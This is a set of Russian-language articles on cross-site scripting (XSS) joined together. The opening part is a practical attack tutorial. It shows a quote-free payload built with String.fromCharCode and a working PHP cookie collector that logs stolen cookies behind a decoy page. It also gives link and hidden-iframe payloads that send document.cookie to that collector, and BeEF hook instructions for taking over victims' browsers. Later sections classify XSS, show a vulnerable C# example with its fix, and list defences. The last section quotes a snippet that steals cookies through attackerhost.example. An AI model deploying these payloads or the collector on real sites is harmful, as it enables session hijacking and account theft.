  2. Второй способ менее тривиален. Для обхода фильтрации вторым способом используется стандартная функция, переводящая числовое значение в ASCII-код. Полная таблица ASCII-кодов расположена по адресу http://www.asciitable.com. Таблица ASCII-кодов поможет в написании того, чего хотите Вы. Также можно использовать дополнение к браузеру Firefox – hackbar. Дополнение hackbar может быть полезно при конвертации данных из ASCII-кода в числовые значения. В данном примере строка «XSS» будет представлена как «120 115 115». Итак, зная числовые значения, необходимо только узнать название функции, конвертирующей числовые значения в ASCII-код. Эта функция называется «String.fromCharCode()», используя её в данном примере, можно обойтись совсем без кавычек.
    <script>alert(String.fromCharCode(120, 115, 115)</script>
    Данный код выведет на экран наше сообщение (в данном случае — «XSS»). Вышеописанный метод очень эффективен для обхода фильтрации magic quotes.

Как злоумышленник может украсть файлы куки?

На первый взгляд, что кража файлов куки – это сложная и кропотливая работа. На самом деле для успешного хищения файлов куки необходимы лишь общие навыки программирования и понимание XSS уязвимости.

Для демонстрации мы создадим сценарий collect_cookie.php на языке PHP, который будет размещен на сервере любой компании, предоставляющей хостинг. После этого будет внедрен код на языке JavaScript, который будет похищать файлы куки и передавать их на наш сайт. Когда php-файл получит данные, он сохранит их в файл stolen_cookies.txt.

Чтобы похитить файлы куки необходимо наличие трех составляющих:

  • PHP-скрипт, который будет получать данные
  • JavaScript-код, который будет воровать куки и отправлять их на наш сайт
  • Компанию, предоставляющую веб-хостинг, чтобы разместить PHP-скрипт

Первая составляющая: скрипт collect_cookie.php

Ниже приведен PHP-скрипт, который будет использован для сбора файлов куки и их запись в файл stolen_cookie.txt

<?php
$collectedCookie=$HTTP_GET_VARS[«cookie»];
$date=date(«l ds of F Y h:i:s A»);
$user_agent=$_SERVER[‘HTTP_USER_AGENT’];
$file=fopen(‘stolen_cookie.txt’,’a’);
fwrite($file,»DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie n»);
fclose($file);
echo ‘<b>Извините, сайт находится в состоянии разработки. </b></br></br>Пожалуйста, нажмите<a
href=»http://www.google.com/»>здесь</a>, чтобы перейти на предыдущую страницу’;
?>

Разберемся, что делает данный скрипт:

$collectedCookie=$HTTP_GET_VARS[«cookie»];

В данной строке происходит сохранения значения переменной «cookies» из GET-запроса в переменную «collectedCookie»
$date=date(«l ds of F Y h:i:s A»);

Здесь происходит сохранение времени соединения, по нему можно определить время кражи cookies.

$user_agent=$_SERVER[‘HTTP_USER_AGENT’];

Сохранение user_agent жертвы для осуществления будущих атак, если они потребуются.

$file=fopen(‘stolen_cookie.txt’,’a’);

В этой строке происходит создание файла stolen_cookie.txt, в котором будут храниться похищенные данные.

fwrite($file,»DATE:$date || USER AGENT:$user_agent || COOKIE:$collectedCookie n»);

Сохранение данных в следующем формате: (“ДАТА: || USER AGENT || COOKIE”)

fclose($file);

Закрытие файла

echo ‘<b>Извините, сайт находится в состоянии разработки. </b></br></br>Пожалуйста, нажмите<a
href=»http://www.google.com/»>здесь</a>, чтобы перейти на предыдущую страницу’;

Осуществляется вывод на экран текста (“Извините, сайт находится в состоянии разработки”) и ссылки, ведущая на страницу google.com.
Первый шаг к сбору информации о cookies закончен.

Вторая составляющая: JavaScript-код

Ниже приведен JavaScript-код, который необходимо выполнить в браузере пользователя. Можно внедрить любой из нижеприведенных сценариев:

<a onclick=»document.location=’http://127.0.0.1/collect_cookie.php?
cookie=’+escape(document.cookie);» href=»#»>Click here for Details</a>

Данный скрипт требует реакции пользователя, поскольку выводит на экран ссылку на наш сайт. Если пользователь нажмет на показанную ему ссылку, то он попадет на наш сайт и его файлы куки будут украдены.

<iframe width=’0′ height=’0′ frameborder=’0′
src='<script>document.location=’http://127.0.0.1/collect_cookie.php?
cookie=’+escape(document.cookie);</script>’ />

Этот скрипт не требует никаких действий со стороны пользователя. Во втором случае на сайт жертвы внедряется скрытый IFrame, невидимый для глаз пользователя.

В итоге украденные файлы куки окажутся в файле stolen_cookie.txt. По ссылке ниже доступно видео, демонстрирующие как можно украсть файлы куки: http://www.youtube.com/watch?v=ZeLyJnhz4ak

Что такое BeEF?

BeEF (сокращение от Browser Exploitation Framework) – платформа для эксплуатации браузеров. BeEF используется для разнообразных атак на компьютеры пользователей с целью их захвата. Наличие этого инструмента значительно облегчает работу, поскольку многие рутинные операции уже автоматизированы.

Поскольку операция захвата компьютера-зомби автоматизирована, с помощью приложения beef (Browser Exploitation Framework) можно захватывать множество компьютеров-зомби (так называют компьютеры, которые находятся внутри ботнета).

На официальном сайте проекта BeEF содержится следующее описание программы: «Browser Exploitation Framework (BeEF) – это мощная профессиональная утилита. В BeEF реализованы последние методы атак, которые используют специалисты в области тестов на проникновение с богатым практическим опытом атак на клиентские приложения. В отличие от остальных платформ безопасности, BeEF ориентирован на эксплуатацию уязвимостей в браузерах для получения контроля над компьютером. Данный проект разрабатывается исключительно для легальных исследований и тестов на проникновение.»

Вы можете загрузить BeEF с сайта проекта http://beefproject.com.

Как использовать BeEF?

BeEF устанавливается по умолчанию вместе с дистрибутивом BackTrack 5 R2. Вы можете загрузить BackTrack 5 R2 с официального сайта http://www.backtrack-linux.org/downloads/. Чтобы открыть и настроить BeEF, необходимо нажать на кнопку главного меню, а затем перейти Backtrack -> Exploitation Tools -> Social Engineering Tools->BeEF XSS Framework->{Beef OR beef-NG}.

После запуска beef-ng на экране отобразиться консоль приложения:

Теперь Вы можете открыть панель управления BeEF, перейдя по ссылке и используя «beef»/«beef» в качестве логина и пароля.

Необходимо поместить JavaScript-код на сервер или клиент жертвы, чтобы захватить компьютер-зомби. Код выглядит следующим образом:

<script type=”text/javascript” src=”http://127.0.0.1:3000/hook.js”></script>

Ниже можно увидеть список захваченных компьютеров зомби и их статус присутствия в сети.

Обратите внимание на вкладку Commands

Как можно увидеть, существует довольно много эксплоитов, которые можно использовать. Например, можно выбрать модуль misc->alert dialog. Вы можете выбрать такой модуль, какой захотите.

Ниже виден результат. Как мы и ожидали, скрипт выполнился, и появилось окошко с предупреждением.

Как вы видите, процесс полностью автоматизирован. Вам только нужно настроить и запустить модуль. Интеграция beef и metasploit заслуживает отдельного внимания. На вкладке Command Вы можете увидеть модуль metasploit. Зайдите туда и посмотрите, насколько богатый функционал предоставляет модуль metasploit. Вы увидите страницу, на которой можно будет выбрать любой эксплоит из набора metasploit и любую настраиваемую полезную нагрузку.

Дополнительная информация о beef расположена по адресу: https://github.com/beefproject/beef/wiki

Заключение

Как мы убедились, наш JavaScript-код был выполнен. Таким же образом могут выполняться и вредоносные коды, которые распространены в интернете. BeEF дает атакующему огромное количество информации, которую можно сохранять и использовать в дальнейших атаках, для получения удаленного доступа.

Мы надеемся, что приведенная информация окажется для вас полезной, в будущем мы предоставим еще много полезного материала для изучения.

Источник
  • Классификация XSS по вектору атаки
  • Классификация XSS по способу воздействия
  • Пример XSS уязвимости
  • Дополнительные ссылки

XSS (межсайтовый скриптинг) – это один из видов атаки на веб-приложения: в выдаваемую страницу внедряется вредоносный код, который взаимодействует с веб-сервером злоумышленника. Вредоносный код может быть внедрен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя. При открытии страницы в браузере пользователя внедрённый код выполнится и, например, может похитить конфиденциальные данные пользователя, хранящиеся в браузере или на странице.

XSS подразделяются на несколько подвидов по вектору атаки и способу воздействия.

Классификация XSS по вектору атаки

  • Отраженные XSS (непостоянные). При данном типе атаки вредоносный скрипт попадает на страницу (чаще всего в параметрах HTTP-запроса или через HTML-формы) и выполняется при открытии страницы из-за отсутствия надлежащей обработки.
  • Хранимые XSS (постоянные). Данный вид XSS является более опасным, чем отражённый. При данном типе XSS злоумышленник внедряет вредоносный код на сервер. Чаще всего данные с вредоносным кодом сохраняются в базу данных и используются на странице. В результате каждый раз при отображении страницы в браузере выполняется внедрённый код.
  • XSS в DOM-модели. В данном типе вредоносный код внедряется при выполнении JavaScript скрипта в браузере пользователя и изменяет DOM атакуемого сайта, благодаря чему внедренный код выполняется в контексте сайта.

Классификация XSS по способу воздействия

  • Активные XSS. Для выполнения внедрённого вредоносного скрипта от пользователя не требуется никаких действий, кроме открытия страницы.
  • Пассивные XSS. Для выполнения внедрённого вредоносного скрипта, кроме открытия страницы в браузере, от пользователя требуются дополнительные действия, например наведение мышки на элемент HTML-страницы или клик по нему.

Пример XSS уязвимости

protected void Page_Load(object sender, EventArgs e)
{
  Response.Cookies.Add(new HttpCookie("User_Cookie_Key", 
                                      "User_Cookie_Value"));

  const string CenterAlignFormat = "<p style='text-align: center'>{0}</p>";

  var userName = Request.Params["userName"];                          //<=
  
  string message;
  if (string.IsNullOrWhiteSpace(userName))
  {
    message = string.Format(CenterAlignFormat, 
                            "Empty 'userName' parameter");
  }
  else
  {
    message = string.Format(CenterAlignFormat, 
                            $"'{userName}' data has been processed.");
  }
  
  Response.Write(message);                                            //<=
}

Предупреждение PVS-Studio: V5610 Possible XSS vulnerability. Potentially tainted data in the ‘message’ variable might be used to execute a malicious script. Default.aspx.cs 61

Данные из параметра запроса userName напрямую (без дополнительной обработки) используются для записи в Response:

XSS_ru/image1.png

Благодаря этому злоумышленник может подсунуть пользователю ссылку с вредоносным кодом, который, например, украдёт cookie из браузера пользователя:

XSS_ru/image2.png

В примере выше cookie просто выводятся на экран в качестве демонстрации при помощи выражения alert(document.cookie). Однако ничего не мешает злоумышленнику отправить их на свой сервер. Воспользовавшись украденными cookie, злоумышленник может получить доступ к аккаунту пользователя, что позволит ему, например, украсть конфиденциальные данные или совершить вредоносные действия от имени пользователя.

Для исправления подобной XSS уязвимости нужно всего лишь кодировать HTML-сущности в сообщении перед записью в Response при помощи специального метода:

protected void Page_Load(object sender, EventArgs e)
{
  ....
  else
  {
    var encodedUserName = 
      System.Net.WebUtility.HtmlEncode(userName);
    message = string.Format(CenterAlignFormat,
                            $"'{encodedUserName}' data has been processed.");
  }
  Response.Write(encodedUserName);
}

В результате при открытии ссылки с вредоносным скриптом последний просто отобразится на странице, но не будет выполнен:

XSS_ru/image4.png

Дополнительные ссылки

  • OWASP Top Ten 2017. A7:2017-Cross-Site Scripting (XSS)
  • Классификация предупреждений PVS-Studio согласно OWASP Top 10 Web Application Security Risks
  • V5610. Possible XSS vulnerability. Potentially tainted data might be used to execute a malicious script
  • OWASP, уязвимости и taint анализ в PVS-Studio C#. Смешать, но не взбалтывать

Присылаем лучшие статьи раз в месяц

Источник

Оглавление

  1. Как работает межсайтовый скриптинг

  2. Методика атаки через XSS

  3. Общая классификация XSS

  4. Виды XSS по способу взаимодействия

  5. Как проверить сайт на наличие уязвимостей XSS и защитить его

XSS (межсайтовый скриптинг) – одна из разновидностей атак на веб-системы, которая подразумевает внедрение вредоносного кода на определенную страницу сайта и взаимодействие этого кода с удаленным сервером злоумышленников при открытии страницы пользователем.

Термин с английского расшифровывается как Cross-Site Scripting, но при этом получил аббревиатуру XSS, чтобы не было путаницы с CSS (каскадные таблицы стилей).

Как работает межсайтовый скриптинг

Основная цель межсайтового скриптинга – кража cookies пользователей при помощи встроенного на сервере скрипта с дальнейшей выборкой необходимых данных и использованием их для последующих атак и взломов. Злоумышленник осуществляет атаку пользователей не напрямую, а с использованием уязвимостей веб-сайта, который посещают жертвы, и внедряет специальный JavaScript. В браузере у пользователей этот код отображается как единая часть сайта. При этом посещаемый ресурс по факту является соучастником XSS-атаки.

Если сравнивать с SQL-инъекциями, то XSS безопасен для сервера, но несет угрозу для пользователей зараженного ресурса или страницы. Однако, если к злоумышленнику попадут cookies администратора, можно получить доступ к панели управления сайтом и его содержимому.

Методика атаки через XSS

Запуск вредоносного кода JavaScript возможен только в браузере жертвы, поэтому сайт, на который зайдет пользователь, должен иметь уязвимость к XSS. Для совершения атаки злоумышленник изначально проверяет ресурсы на наличие уязвимостей через XSS, используя автоматизированные скрипты или ручной режим поиска. Обычно это стандартные формы, которые могут отправлять и принимать запросы (комментарии, поиск, обратная связь).

Проводится полный сбор страниц с формами ввода, и каждая сканируется на наличие уязвимостей. Например, у нас есть страница «Поиск» на сайте. Для проверки уязвимости XSS достаточно ввести запрос:

<script>alert(«cookie: «+document.cookie)</script>

Если на экране появится уведомление, значит вы обнаружили брешь в безопасности. В противном случае система отобразит вам страницу с результатами поиска. Основные популярные CMS уже давно лишились подобных проблем, но из-за возможности расширения функционала за счет модулей и плагинов, создаваемых сторонними разработчиками, шансы на использование уязвимостей XSS возрастают в разы, особенно в Joomla, DLE, Bitrix, WordPress. Чаще всего XSS-уязвимости проверяются в браузере Internet Explorer.

Еще один возможный вариант поиска – использование страниц, которые обрабатывают GET-запросы. Допустим, у нас есть ссылка вида: https://site.ru/catalog?p=8

В адресной строке вместо идентификатора (8) добавляем скрипт – «><script>alert(«cookie: «+document.cookie)</script>, в результате чего получаем ссылку такого вида: https://site.ru/catalog?p=&quot;&gt;&lt;script&gt;alert(&quot;cookie: «+document.cookie)</script>.

Если страница имеет уязвимости XSS, на экране появится уведомление такого же плана, как и в первом случае.

Для поиска «дыр» на сайте существует огромное количество готовых скриптов и запросов, и если ни один из них не подходит, значит ресурс надежно защищен от подобных атак.

Общая классификация XSS

Четкой классификации для межсайтового скриптинга не существует, но экспертами по всему миру выделено три основных типа.

Хранимые XSS (постоянные). Один из самых опасных типов уязвимостей, так как позволяет злоумышленнику получить доступ к серверу и уже с него управлять вредоносным кодом (удалять, модифицировать). Каждый раз при обращении к сайту выполняется заранее загруженный код, работающий в автоматическом режиме. В основном таким уязвимостям подвержены форумы, порталы, блоги, где присутствует возможность комментирования в HTML без ограничений. Вредоносные скрипты с легкостью могут быть встроены как в текст, так и в картинки, рисунки.

Отраженные XSS (непостоянные). В этом случае вредоносная строчка выступает в роли запроса жертвы к зараженному веб-сайту. Работает этот принцип по следующей схеме:

  1. Злоумышленник заранее создает URL-ссылку, которая будет содержать вредоносный код и отправляет его своей жертве.
  2. Она направляет этот URL-запрос на сайт (переходит по ссылке).
  3. Сайт автоматически берет данные из вредоносной строки и подставляет в виде модифицированного URL-ответа жертве.
  4. В итоге в браузере у жертвы выполняется вредоносный скрипт, который и содержится в ответе, а злоумышленник получает все cookies этого пользователя.

DOM-модели. В этом варианте возможно использование как хранимых XSS, так и отраженных. Суть заключается в следующем:

  1. Злоумышленник создает URL-адрес, который заранее содержит вредоносный код, и отправляет его по электронной почте или любым другим способом пользователю.
  2. Человек переходит по этой ссылке, зараженный сайт принимает запрос, исключая вредоносную строку.
  3. На странице у пользователя выполняется сценарий, в результате чего загружается вредоносный скрипт и злоумышленник получает cookies.

Виды XSS по способу взаимодействия

Так как основная цель злоумышленника – запустить вредоносный скрипт на компьютере жертвы, существует еще и два основных типа XSS-атак по способу взаимодействия.

Пассивные. От жертвы требуется определенное действие, чтобы вызвать обработчик событий и запустить вредоносный скрипт в установленной форме. Для этого используется социальная инженерия, например отправка электронного письма с призывом перейти по ссылке и нажать на определенную область на сайте. Как только пользователь наведет на нужный объект и кликнет по нему, запустится вредоносный скрипт. Если же жертва бездействует, код не будет активирован.

Активные. Злоумышленнику не нужно заманивать жертву по специальным ссылкам, так как код встраивается в базах данных или в каком-нибудь исполняемом файле на сервере. От пользователя не требуется никакой активности. У форм ввода, как правило, установлен специальный обработчик событий, автоматически активирующийся при попадании на эту страничку. В итоге все пользователи, перешедшие по этой ссылке, станут жертвами злоумышленника.

Как проверить сайт на наличие уязвимостей XSS и защитить его

Для быстрой проверки сайта на наличие уязвимостей XSS можно воспользоваться специализированными сервисами, которые в автоматическом режиме проведут сканирование страницы. В обязательном порядке нужно проверять все URL, где возможна отправка данных со стороны пользователя (формы комментариев, обратная связь, поиск). В качестве примера можете использовать https://xss-scanner.com, но не стоит ограничиваться лишь одним инструментом.

Подобные сервисы не дают полной гарантии успеха, поэтому рекомендуем проверять найденные страницы в ручном режиме и обязательно исключить все опасные спецсимволы, заменив их безопасными. Речь идет о скобках < и >, в которых и прописываются все зарезервированные языком html-запросы и теги.

Например, для быстрой фильтрации и автоматической замены спецсимволов < и > вы можете использовать следующий код на сайте:

$filter = array(«<«, «>»);

$_GET[‘q’]=str_replace ($filter, «|», $_GET[‘q’]).

Несколько советов по предотвращению использования XSS на вашем сайте:

  1. Если на вашем сайте включен пользовательский ввод, должно выполняться кодирование.
  2. Если кодирование невозможно или неуместно в некоторых ситуациях, заменяйте его или дополняйте валидацией.
  3. Безопасная обработка данных должна выполняться в коде не только на стороне вашего web-сервера, но и на стороне пользователя (клиента).
  4. Если используете популярные CMS, например WordPress, Bitrix, Joomla, регулярно обновляйте версии движка и всех установленных модулей и плагинов. По умолчанию большинство самых распространенных систем для управления сайтов защищены от использования XSS, а вот сторонние плагины из непроверенных источников могут содержать уязвимости.
Источник

XSS (Cross-Site Scripting — межсайтовый скриптинг) — распространенный тип веб-атаки, заключающийся во внедрении на страницу сайта или приложения вредоносного кода. Когда пользователь открывает пораженную страницу, внедренный скрипт взаимодействует с удаленным сервером злоумышленника.

Для обозначения межсайтового скриптинга выбрано сокращение XSS (X-Site Scripting) — это сделано для того, чтобы избежать путаницы с таблицами стилей, которые также имеют сокращение CSS. На сегодняшний день XSS является третьим по значимости видом рисков для веб-приложений. Его основная опасность заключается в том, что на веб-страницах содержится много пользовательских или иных уязвимых данных. Злоумышленник может использовать их для доступа к платежным картам, компьютерам пользователей и т.д.

Один из механизмов обеспечения безопасности в интернете — правило ограничения домена. Оно означает, что сценарии на одном сайте могут без ограничений взаимодействовать друг с другом, но не со сценариями на другом веб-ресурсе. Иначе говоря, вредоносный код на одном сайте не сможет навредить другому сайту или его пользователям из-за ограничения доступа на другом домене.

Принципиальная схема межсайтового скриптинга

Но это в идеале, а на практике у веб-приложений и сайтов есть множество уязвимостей. Воспользовавшись ими, злоумышленник может взломать ресурс и внедрить на него вредоносный скрипт. При этом он будет восприниматься как часть родного кода, написанного разработчиком, — то есть «зараженный» ресурс в глазах браузера пользователя остается заслуживающим доверия источником. Таким образом, ресурс, на котором размещается вредоносный скрипт, становится соучастником атаки.

Для самого сервера, на котором размещается «зараженный» ресурс, XSS опасности, как правило, не представляет. Основную угрозу он несет пользовательским данным, которые часто размещаются на страницах сайта или веб-приложения. Однако с помощью межсайтового скриптинга злоумышленник может получить доступ к данным администратора, дающим контроль над контентом и панелью управления.

XSS-уязвимость — это брешь в защите сайта или веб-приложения, через которую злоумышленник может внедрить вредоносный код. Изначально основным языком, на котором создаются такие скрипты, был JavaScript. Однако теоретически для XSS-атаки можно использовать HTML, Flash и т.д. Главное, чтобы они исполнялись браузером жертвы.

Основная классификация XSS-уязвимостей выглядит следующим образом:

  • Хранимые (постоянные). Такие уязвимости возникают, когда злоумышленнику удается получить доступ к серверу и сохранить на нем вредоносный код. Такой сохраненный скрипт будет активироваться каждый раз, когда пользователь заходит на зараженную страницу. Часто хранимые XSS-уязвимости можно найти на различных форумах, а также в соцсетях, имиджбордах, блогах и других представителях Веб 2.0. Для их внедрения на ресурс злоумышленники могут использовать обычный текст (например, в виде комментариев), рисунки, гифки и другой размещаемый контент.
  • Отраженные (непостоянные). Это наиболее распространенный сегодня тип XSS-атак. Их смысл в том, что злоумышленник прячет вредоносный код в заранее подготовленной ссылке, которую потом передает пользователям-жертвам в почтовой рассылке или размещает на веб-странице. Когда пользователь переходит по зараженной ссылке, серверные скрипты исполняют ее код без обработки и возвращают его в виде ответа. Браузер пользователя исполняет зараженный скрипт, а злоумышленник получает cookies жертвы.
  • DOM-модель. Суть этой уязвимости — в использовании злоумышленником Document Object Model, объектной модели документа. Это программный интерфейс, дающий программам и сценариям доступ к контенту HTML-, XHTML- и XML-документов и возможность этим содержанием (а также структурой и оформлением) управлять. XSS-уязвимости на основе DOM-модели могут быть как отраженными, так и хранимыми. Их главная особенность — сама страница сайта или веб-приложения не меняется, но меняется ее отображение в браузере пользователя из-за вредоносных модификаций DOM.

Также XSS-уязвимости различаются по степени активности:

  • Активные. Такие уязвимости действуют сами независимо от активности пользователя. То есть, как только пользователь-жертва попадает на зараженную страницу, вредоносный скрипт запускается автоматически. Например, такие уязвимости встраиваются в базы данных или исполняемые файлы на сервере, в формы ввода (с помощью автоматических обработчиков событий) и т.д.
  • Пассивные. В этом случае для активации вредоносного кода пользователь-жертва должен совершить какое-то действие: ввести запрос, кликнуть ссылку. Чтобы это произошло, злоумышленник должен как-то его заставить, спровоцировать или замотивировать. Здесь в ход идут методы социальной инженерии — например, фишинг.

Основной способ внедрения вредоносного кода на сайт или в веб-приложение — через интерактивные элементы сайта. Например, его можно разместить в строке поиска, форме обратной связи или авторизации, поле для публикации комментария. Это доступные и самые простые «точки входа» для злоумышленника, который по своей сути изначально является одним из посетителей ресурса.

Для внедрения вредоносного скрипта злоумышленник может использовать следующие каналы или векторы атаки, то есть точки проникновения в защиту сайта или веб-приложения.

Ошибки в браузере. Это уязвимости самих браузерных программ, которыми пользуются посетители сайтов. Типичный пример — выполнение сценариев на языке SVG, которое позволяет обойти правило ограниченного домена. Как правило, такие серьезные ошибки быстро устраняются разработчиками браузеров. Однако есть и более узкоспециализированные уязвимости, которые могут оставаться незамеченными годами. В таких случаях проще настроить защиту на самом сайте, чем ждать обновления браузерной программы.

Отсутствие экранирования. Одной из проблем современных браузеров является их неспособность отличить обычный текст от кода. То есть чтобы браузерная программа распознала и выполнила код HTML, он должен быть размечен тегами. Соответственно, Java-скрипты должны помещаться между тегами <script>, CSS-стили — между CSS и т.д.

Но если браузер воспринимает размеченный соответствующим образом текст как код, то он начинает исполнять и аналогично оформленный текст, размещенный на сайте сторонними пользователями, среди которых может быть и злоумышленник. Типичной целью являются поля, в которых размещаются комментарии. Чтобы браузер воспринимал текст от пользователей как обычный текст (даже если он размечен как код), предварительно настраивается его экранирование — например, автоматическая замена спецсимволов, используемых в языках разметки и программирования, на «аналоги», которые не учитываются браузером.

К сожалению, экранирование присутствует на сайтах и в веб-приложениях не всегда, и причин может быть несколько:

  • Программист элементарно забывает настроить экранирование во всех интерактивных формах на сайте, особенно если ресурс большой.
  • Разные страницы и разделы сайта создаются разными специалистами и в разное время, что еще больше увеличивает вероятность ошибки.
  • Уязвимость допущена в коде библиотеки или фреймворка, который используется разработчиком при создании или доработке сайта.

Подмена кодировки в заголовке страницы. Современные браузеры определяют кодировку прямо по ходу обработки страницы. Кодировка отображается в теге <meta>, и если тег <title> расположен до него, то сначала браузерная программа прочитает и обработает заголовок, а уже потом определит, какая кодировка используется на сайте. Соответственно, у злоумышленника появляется возможность обойти фильтрацию служебных символов < и “, разместив в тайтле вредоносный код, закодированный в UTF-7.

SiXSS (межсайтовый скриптинг при наличии SQL-инъекции). Это комбинированный тип атаки, задействующий базу данных сайта. Работает это следующим образом. С помощью SQL-инъекции злоумышленник внедряет вредоносный код в одну из страниц БД. Если на сайте отсутствует экранирование при выводе содержимого базы данных, то при доступе к «отравленной» строке БД вредоносный скрипт попадает в браузер пользователя.

Перечисленные векторы атаки — самые распространенные. На практике способов, которыми злоумышленники могут внедрить код на сайт или в веб-приложение, гораздо больше. Какие-то из них работают на всех типах ресурсов, другие отличаются узкой специализацией. Такое разнообразие приводит к тому, что гарантированной и 100-процентной защиты от XSS-угроз не существует.

Сами XSS-уязвимости опасности для самого ресурса или его пользователей не представляют. Угрозу несут именно атаки, для которых эти бреши в обороне являются «точками входа». С помощью XSS-атаки можно нанести ресурсу и его пользователям разнообразный вред.

Кража пользовательских данных. Сайты и приложения, на которых предусмотрена авторизация пользователей, отличают авторизованного посетителя от неавторизованного с помощью специального cookie-файла (сессионной cookie). Этот файл будет видеть только авторизованный посетитель, а еще — любой JavaScript-код, исполняемый его браузером (в том числе и помещенный на страницу злоумышленником). Прочитав сессионную cookie жертвы, вредоносный скрипт через AJAX-запрос передает данные авторизации на удаленный сервер, предварительно созданный злоумышленником. Там эта информация заносится в базу данных, и хакеру остается только вычленить ее из параметров URL. Это дает злоумышленнику следующие возможности:

  • похитить конфиденциальные данные пользователя: историю посещений, информацию по платежным картам, личную переписку и т.д.;
  • использовать аккаунт пользователя-жертвы для рассылки спама, угроз и другого противоправного контента, публикации комментариев с противозаконным или компрометирующим содержанием;
  • рассылать вредоносные программы другим пользователям, особенно тем, у кого пользователь-жертва пользовался доверием;
  • получить бесплатный доступ к платному контенту: учебным курсам, мультимедийному контенту и т.д.

Доступ к управлению сайтом. Злоумышленник может завладеть не только данными авторизованных пользователей, но и правами администратора сайта/веб-приложения. В этом случае он получает доступ к панели управления ресурсом и может контролировать его содержание, структуру, оформление. Такие возможности позволяют злоумышленнику:

  • получить авторизационные данные любого зарегистрированного на сайте пользователя;
  • испортить функционал и/или оформление сайта с целью его дискредитации в глазах настоящих или потенциальных посетителей;
  • разместить на ресурсе посторонний, противозаконный или компрометирующий контент, внести изменения в уже имеющееся содержание (пресс-релизы, статьи, описания товаров и т.д.);
  • взломать корпоративную базу данных для получения конфиденциальной информации (секретных технологий, сведений о коммерческой деятельности и т.д.).

Опасность не ограничивается лишь потерей или кражей данных, репутационными издержками — последствия могут быть куда серьезнее. Например, если злоумышленник получает на сайте фармацевтической компании доступ к описанию лекарства, он может изменить информацию по дозировке сильнодействующего лекарства. Как результат — массовые интоксикации с тяжелыми последствиями вплоть до летальных исходов.

Чтобы защититься от межсайтового скриптинга, необходимо сначала выявить на сайте или в веб-приложении возможные уязвимости для атак этого типа. Сделать это можно двумя способами.

Автоматически. Для поиска уязвимостей существуют специальные сервисы, с помощью которых анализируются все страницы, на которых присутствуют интерактивные элементы: формы обратной связи и оформления заказов, поисковая строка, поля для публикации комментариев и т.д. Пример такого ресурса — http://xss-scanner.com/. Стоит учитывать, что возможности любого такого сервиса ограничены, поэтому для максимально объективной оценки уязвимостей лучше проверять сайт на нескольких ресурсах. Тем не менее автоматизированные сервисы серьезно упрощают работу, особенно если анализируемый сайт имеет сложную структуру или большое количество внутренних страниц.

Вручную. Такой способ требует больших затрат времени и сил, зато более надежен (если проводится грамотным специалистом). Здесь алгоритм такой же: проверяется каждая страница сайта с интерактивными элементами, которые используются посетителями для ввода данных. Например, с помощью скрипта <script>alert(123)</script>. Если его ввести в интерактивное поле для размещения запроса или текста, то при отсутствии защиты появится такое уведомление:

Ручная проверка по понятным причинам не очень эффективна на крупных сайтах, зато вполне применима на небольших ресурсах или одностраничниках.

Когда уязвимости найдены, можно приступать непосредственно к защите от угроз. Для этого рекомендуется:

  • настроить фильтрацию и экранизацию входных параметров, то есть информации, вводимой пользователем через интерактивные поля и формы;
  • настроить автоматическую замену спецсимволов, чтобы четко отделить пользовательский текст от исполняемого кода;
  • на каждой странице сайта разместить кодировку перед какими-либо пользовательскими полями;
  • установить ограничения домена и путей приема cookie-файлов с помощью SSL или параметра HttpOnly;
  • регулярно проверять сайт или веб-приложение на уязвимости такими инструментами, как Nessus, Nikto Web Scanner и т.д.;
  • задать список желательных источников для загрузки контента с помощью заголовка Content Security Policy;
  • регулярно обновлять браузер до актуальной версии и использовать расширения для проверки URL, скриптов, интерактивных форм и других потенциальных источников угроз.

Практика показывает, что на 100% от XSS-атак не защищен ни один ресурс или браузер. В ответ на появление новых средств защиты злоумышленники разрабатывают новые пути их обхода. Однако использование актуальных способов цифровой гигиены и обычная бдительность позволяют снизить риск межсайтового скриптинга до приемлемого минимума.

Источник

Межсайтовое выполнение сценариев (Cross-site Scripting или XSS) является методом нападения, который вынуждает веб-сайт выводить, подготовленный злоумышленником программный код, который загружается в браузере пользователя. Сам программный код обычно пишется на HTML/JavaScript, но может быть также перенесен в VBScript, ActiveX, Java, Flash, или на любую другую поддерживаемую браузерами технологию.

Когда злоумышленник добивается, чтобы браузер пользователя выполнил его программный код, то этот код будет запущен в безопасной среде сервера веб-сайта. С этим уровнем привилегий, программный код вполне способен прочитать, изменить или передать важные данные доступные браузеру. У «запрограммированного» пользователя может быть украдена его учетная запись (через кражу Ключика), его браузер может быть перенаправлен на другой адрес, или возможно показана фальсифицированная информация, выводимая веб-сайтом при посещении. Атака Межсайтовое Программирование по существу является компрометацией отношений между пользователем и веб-сайтом.

Атаку Межсайтовое Программирование можно разделить на два типа, постоянная и непостоянная. Непостоянная атака требует посещения пользователем, особенным образом подготовленной, ссылки, с «вшитым» в нее вредоносным кодом. При посещении такой ссылки, код, внедренный в URL, выведется и, соответственно, выполнится в веб-браузере пользователя. Постоянная атака происходит, когда вредоносный код добавляется на веб-сайт, где он сохраняется на некоторый период времени. Примерами излюбленных и часто используемых злоумышленниками мест для таких размещений являются — сообщения досок объявлений, сообщения веб-почты, и программное обеспечение для веб-чатов. При этом, от ничего неподозревающего пользователя, не требуется переходить ни по каким ссылкам, достаточно просто отобразить веб-страницу, содержащую этот программный код.

Пример

Постоянная атака

Многие веб-сайты в своих сервисах используют доски объявлений и форумы, где зарегистрированные пользователи могут оставлять свои сообщения. Зарегистрированный пользователь обычно отслеживается при помощи ключика с идентификатором сессии (session ID), дающим полномочия для размещения сообщений. Если злоумышленник разместил сообщение, содержащее особенным образом подготовленный JavaScript код, то когда пользователь прочитает такое сообщение его ключики и учетная запись снанут скомпрометированными.

Фрагмент кода похищения ключика
<SCRIPT>
document.location=’http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie
</SCRIPT>

Непостоянная атака

Многие веб-порталы часто персонализируют внешний вид веб-сайта, приветствуя вошедшего в систему пользователя надписью вида «Добро пожаловать :». Иногда, данные такого обращения вошедшего в систему пользователя сохраняются и передаются внутри строки URL запроса и выводятся на экране.

Пример URL портала

http://portal.example/index.php?sessionid=12312312&username=Joe

